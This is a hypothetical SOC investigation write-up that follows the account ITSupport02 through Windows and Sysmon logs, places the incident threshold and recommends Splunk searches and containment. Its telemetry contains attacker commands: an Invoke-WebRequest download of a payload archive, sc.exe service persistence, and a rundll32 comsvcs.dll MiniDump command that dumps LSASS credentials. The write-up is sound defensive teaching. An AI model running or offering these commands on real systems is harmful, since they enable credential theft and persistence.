Splunk SOC Investigation — ITSupport02: From Legitimate Administration to Confirmed Compromise

Overview

This hypothetical SOC investigation examines activity involving ITSupport02 across CLIENT60, CLIENT61, DC01, and FILESERVER02.

The exercise is designed around an important SOC challenge: legitimate administrative activity can closely resemble attacker behavior. The investigation therefore begins without assuming compromise and progressively evaluates the evidence until the activity crosses the threshold for incident declaration.

The key investigative question is:

At what point does legitimate IT administration end and attacker behavior begin?


Investigation Environment

Host Role
CLIENT60 IT Support workstation
CLIENT61 Remote endpoint
DC01 Domain Controller
FILESERVER02 File server
ITSupport02 Account under investigation

Telemetry Under Investigation

The following is the complete telemetry available to the analyst.

08:41:12 — CLIENT60
4624

Account: ITSupport02
Logon Type: 2
08:42:03 — CLIENT60
4104

Get-Service
08:42:17 — CLIENT60
4104

Get-Process
08:43:02 — CLIENT60
4104

Get-ADComputer -Filter *
08:44:11 — CLIENT60
4688

powershell.exe

Enter-PSSession -ComputerName CLIENT61
08:44:15 — CLIENT61
4624

Account: ITSupport02
Logon Type: 3
Source: CLIENT60
08:44:32 — CLIENT61
4104

Get-Service
08:44:51 — CLIENT61
4104

Get-ADGroupMember "Domain Admins"
08:45:13 — DC01
4769

Account: ITSupport02
Service:

cifs/FILESERVER02
08:45:22 — FILESERVER02
4624

Account: ITSupport02
Logon Type: 3
Source: CLIENT61
08:45:39 — FILESERVER02
4663

Object:

\\FILESERVER02\IT\DeploymentPackages.zip

Access:

ReadData
08:46:08 — CLIENT61
4104

Invoke-WebRequest
https://updates-example.net/support.zip
-OutFile C:\ProgramData\support.zip
08:46:19 — CLIENT61
Sysmon Event ID 11

File Created:

C:\ProgramData\support.zip
08:46:51 — CLIENT61
4688

7z.exe

7z.exe x C:\ProgramData\support.zip
-oC:\ProgramData\Support
08:47:04 — CLIENT61
Sysmon Event ID 1

Process:

supportsvc.exe

Parent:

7z.exe
08:47:09 — CLIENT61
Sysmon Event ID 3

supportsvc.exe
        ↓
185.220.101.44
        ↓
443
08:47:31 — CLIENT61
4688

sc.exe create WindowsSupport
binPath= C:\ProgramData\Support\supportsvc.exe
08:47:46 — CLIENT61
7045

Service Name:

WindowsSupport

Image Path:

C:\ProgramData\Support\supportsvc.exe
08:48:20 — CLIENT61
4688

rundll32.exe

comsvcs.dll, MiniDump 612
C:\ProgramData\lsass.dmp full
08:48:39 — CLIENT61
Sysmon Event ID 11

File Created:

C:\ProgramData\lsass.dmp

1. Where Does Legitimate Activity End?

I would place the last potentially legitimate activity around:

08:45:39 — FILESERVER02
4663

\\FILESERVER02\IT\DeploymentPackages.zip

ReadData

There is a plausible administrative explanation for the activity before this point.

ITSupport02 logs onto CLIENT60, performs basic system discovery, enumerates computers in Active Directory, and remotely connects to CLIENT61.

That could represent normal IT support activity.

Even the access to:

\\FILESERVER02\IT\DeploymentPackages.zip

could be legitimate if the IT team uses a centralized deployment package repository.

However, the investigation becomes substantially more suspicious once an external archive is downloaded directly to CLIENT61.


2. First Point of Suspicion

My first significant suspicion is:

08:44:51 — CLIENT61
4104

Get-ADGroupMember "Domain Admins"

The command itself is not malicious.

However, the context makes it suspicious.

The sequence is:

ITSupport02
      ↓
CLIENT60
      ↓
AD computer discovery
      ↓
CLIENT61
      ↓
Domain Admin enumeration

A Helpdesk or IT support administrator could legitimately perform this type of discovery, so I would initially classify this as:

Suspicious — requiring further investigation.

I would not declare an incident at this point.

The subsequent activity is what determines whether the suspicion develops into a confirmed security incident.


3. Incident Declaration

I would declare the incident at:

08:47:09 — CLIENT61

supportsvc.exe
        ↓
185.220.101.44
        ↓
443

At this point, the telemetry shows a compelling attack sequence:

External archive downloaded
        ↓
Archive extracted
        ↓
supportsvc.exe executed
        ↓
supportsvc.exe communicates externally

The situation becomes even more serious because the destination IP has reportedly been identified through threat intelligence as malicious infrastructure.

However, I would be precise in the report:

The malicious reputation of the IP is a strong corroborating indicator, but the strongest evidence comes from the entire correlated sequence, rather than the IP reputation alone.

I would then escalate immediately when the service persistence and LSASS dump appear.

In particular:

08:47:46
7045
WindowsSupport

followed by:

08:48:20
rundll32.exe
comsvcs.dll, MiniDump

provides extremely strong evidence of malicious post-compromise activity.


4. Is ITSupport02 → CLIENT61 Automatically Malicious?

No.

This is an important distinction.

The following sequence is entirely capable of representing legitimate IT administration:

CLIENT60
    ↓
PowerShell
    ↓
Enter-PSSession CLIENT61
    ↓
4624 Type 3
    ↓
Get-Service

IT support personnel commonly use remote PowerShell sessions to:

  • Troubleshoot systems
  • Inspect services
  • Review running processes
  • Install software
  • Perform maintenance
  • Respond to support requests

Therefore, I would not classify the remote session itself as malicious.

The risk changes because the activity subsequently progresses from administration into:

AD privileged-account discovery
        ↓
External download
        ↓
Payload execution
        ↓
External communication
        ↓
Service persistence
        ↓
LSASS memory dumping

That progression is inconsistent with ordinary troubleshooting unless there is compelling organizational evidence explaining every step.


5. Reconstructed Attack Chain

The complete sequence can be reconstructed as follows:

ITSupport02
      ↓
CLIENT60
      ↓
Interactive Logon
4624 Type 2
      ↓
Get-Service
Get-Process
      ↓
Get-ADComputer -Filter *
      ↓
PowerShell Remoting
Enter-PSSession CLIENT61
      ↓
CLIENT61
4624 Type 3
      ↓
Get-Service
      ↓
Get-ADGroupMember "Domain Admins"
      ↓
DC01
4769
CIFS/FILESERVER02
      ↓
FILESERVER02
4624 Type 3
      ↓
DeploymentPackages.zip
ReadData
      ↓
CLIENT61
Invoke-WebRequest
support.zip
      ↓
C:\ProgramData\support.zip
      ↓
7z.exe
      ↓
supportsvc.exe
      ↓
185.220.101.44:443
      ↓
WindowsSupport Service
7045
      ↓
LSASS Memory Dump
      ↓
C:\ProgramData\lsass.dmp

The attack progression can therefore be interpreted as:

Stage 1 — Discovery

Get-Service
Get-Process
Get-ADComputer
Get-ADGroupMember "Domain Admins"

Stage 2 — Remote Access

CLIENT60
    ↓
CLIENT61

Stage 3 — Payload Delivery

Invoke-WebRequest
        ↓
support.zip

Stage 4 — Execution

7z.exe
    ↓
supportsvc.exe

Stage 5 — Command and Control

supportsvc.exe
    ↓
185.220.101.44:443

Stage 6 — Persistence

sc.exe create WindowsSupport
        ↓
7045
        ↓
supportsvc.exe

Stage 7 — Credential Access

rundll32.exe
        ↓
comsvcs.dll
        ↓
LSASS
        ↓
lsass.dmp

6. Primary and Potentially Affected Hosts

Primary affected host — CLIENT61

CLIENT61 is the primary affected host because it contains the strongest evidence of compromise:

  • Payload download
  • Archive extraction
  • Suspicious executable execution
  • External network communication
  • Service creation
  • LSASS memory dumping

This host should receive immediate containment priority.

Potentially affected — CLIENT60

CLIENT60 is potentially affected because:

  • It is the origin of the remote session.
  • ITSupport02 authenticated interactively there.
  • The account performed the initial discovery.

However, the available telemetry does not prove that CLIENT60 itself is compromised.

Potentially affected — FILESERVER02

FILESERVER02 is also in scope because ITSupport02 accessed:

\\FILESERVER02\IT\DeploymentPackages.zip

The current evidence only shows ReadData.

There is not enough evidence to conclude that the server itself is compromised.

DC01

DC01 is an important investigative system because it records the Kerberos service-ticket activity, but the provided telemetry does not demonstrate compromise of the domain controller.


7. First Splunk Search

I would begin by searching around the suspicious account and the known indicators:

index=wineventlog OR index=sysmon
("ITSupport02" OR "supportsvc.exe" OR "185.220.101.44")
| table _time host EventCode Account_Name User Image CommandLine ParentImage DestinationIp DestinationPort
| sort _time

The objective is to establish the broader activity surrounding the account, endpoint, payload, and network destination.

I would then narrow the search around CLIENT61:

index=wineventlog OR index=sysmon
host=CLIENT61
earliest=-2h latest=+2h
| table _time EventCode Image ParentImage CommandLine User DestinationIp DestinationPort
| sort _time

This would help establish what happened before and after the observed attack chain.


8. Identifiers for Reconstructing the Process Chain

The primary correlation identifiers I would use are:

LogonGUID

Useful for answering:

Which activity belongs to the same authentication session?

ProcessGUID

Useful for answering:

Which process generated or spawned this activity?

Account

ITSupport02

Useful for tracking authentication and activity across hosts.

Source and destination hosts

CLIENT60
      ↓
CLIENT61
      ↓
FILESERVER02

Useful for reconstructing movement through the environment.

Time

Timeline correlation is critical because the events occur only seconds apart.

For example:

08:46:08  Download
08:46:19  File creation
08:46:51  Extraction
08:47:04  Execution
08:47:09  Network connection
08:47:31  Service creation
08:47:46  Service installation
08:48:20  LSASS dump

That temporal relationship is itself a major investigative signal.


9. Additional Telemetry

I would immediately investigate:

Authentication

4624 / 4625

To determine whether ITSupport02 authenticated elsewhere unexpectedly.

Privileged Logons

4672

To determine whether the account received special privileges on CLIENT61 or other systems.

Process Creation

4688 / Sysmon Event ID 1

To reconstruct:

PowerShell
   ↓
7z.exe
   ↓
supportsvc.exe
   ↓
rundll32.exe

Network Connections

Sysmon Event ID 3

To determine whether:

  • CLIENT61 contacted other external destinations
  • supportsvc.exe communicated elsewhere
  • Other processes communicated with the same infrastructure

DNS

DNS telemetry could establish how:

updates-example.net

resolved and whether other endpoints contacted the same infrastructure.

File Creation

Sysmon Event ID 11

I would investigate files created by:

  • PowerShell
  • 7z.exe
  • supportsvc.exe
  • rundll32.exe

Service Creation

7045

This is particularly important because:

WindowsSupport

was created to execute the suspicious payload.

EDR

EDR telemetry could provide the complete process tree, file reputation, hash, command line, network behavior, and potentially prevention/detection events.


10. Containment

My first containment action would be:

Isolate CLIENT61

This is the highest-priority host because it has demonstrated:

Payload execution
        ↓
External communication
        ↓
Persistence
        ↓
Credential dumping

Network isolation limits the attacker’s ability to:

  • Establish further command and control
  • Move laterally
  • Access additional systems
  • Reuse stolen credentials

I would then investigate and potentially disable or restrict ITSupport02, particularly if evidence indicates credential compromise.

I would also:

  1. Revoke active sessions.
  2. Reset the account credentials.
  3. Investigate other systems accessed by the account.
  4. Preserve relevant forensic evidence.
  5. Investigate CLIENT60.
  6. Review FILESERVER02 access.
  7. Hunt for the malicious IP and payload hash across the environment.

I would avoid immediately wiping the host because preservation of evidence is important for understanding the compromise.


11. What Could Prove This Was Legitimate IT Administration?

This is where the investigation needs to remain objective.

Evidence supporting legitimate activity could include:

IT Change / Service Ticket

A ticket explicitly authorizing:

ITSupport02
→ CLIENT61
→ software installation/update

would provide important context.

Approved Software

If support.zip and supportsvc.exe belong to an approved IT support application, suspicion would decrease substantially.

Known-Good Hash

The SHA256 hash of:

supportsvc.exe

could be compared against the organization’s approved software inventory.

Digital Signature

A valid signature from the expected vendor would provide additional evidence.

Approved Infrastructure

The destination:

185.220.101.44:443

would need to be verified against known corporate infrastructure.

However, there is an important limitation:

If the destination is independently confirmed to be malicious infrastructure and supportsvc.exe is also confirmed malicious, a legitimate IT ticket would not make the overall sequence benign.

It could instead indicate:

  • An abused legitimate account
  • A compromised IT workstation
  • A malicious package disguised as legitimate software
  • An attacker operating through legitimate administrative procedures

This is why validation must combine business context + endpoint evidence + network evidence + threat intelligence.


Final SOC Assessment

The investigation begins with activity that could reasonably belong to an IT administrator:

ITSupport02
     ↓
CLIENT60
     ↓
System discovery
     ↓
AD computer discovery
     ↓
PowerShell Remoting
     ↓
CLIENT61

The first meaningful suspicion arises when the account enumerates:

Get-ADGroupMember "Domain Admins"

However, this remains suspicious rather than confirmed malicious.

The investigation changes dramatically when:

Invoke-WebRequest
       ↓
support.zip
       ↓
supportsvc.exe
       ↓
185.220.101.44:443
       ↓
WindowsSupport service
       ↓
LSASS memory dump

appears within a short time window.

At that point, the telemetry is no longer consistent with ordinary Helpdesk administration without substantial additional evidence.

Key Lesson

The most important lesson from this exercise is that SOC analysts should not declare an incident simply because an administrator performs administrative-looking actions.

Instead, the analyst should continuously ask:

Does the activity make sense for this account, this host, this time, and this business function?

In this case, the answer changes as the investigation progresses.

The early activity may be legitimate.

The later correlated behavior provides strong evidence of compromise.


Skills Practiced

Splunk · SPL · Windows Event Logs · PowerShell · Sysmon · Active Directory · Kerberos · Process Correlation · Network Analysis · Threat Hunting · Persistence Detection · Credential Access · Incident Response


Author

Precious Anyanwu

Cybersecurity SOC Analysis Cloud Security Threat Detection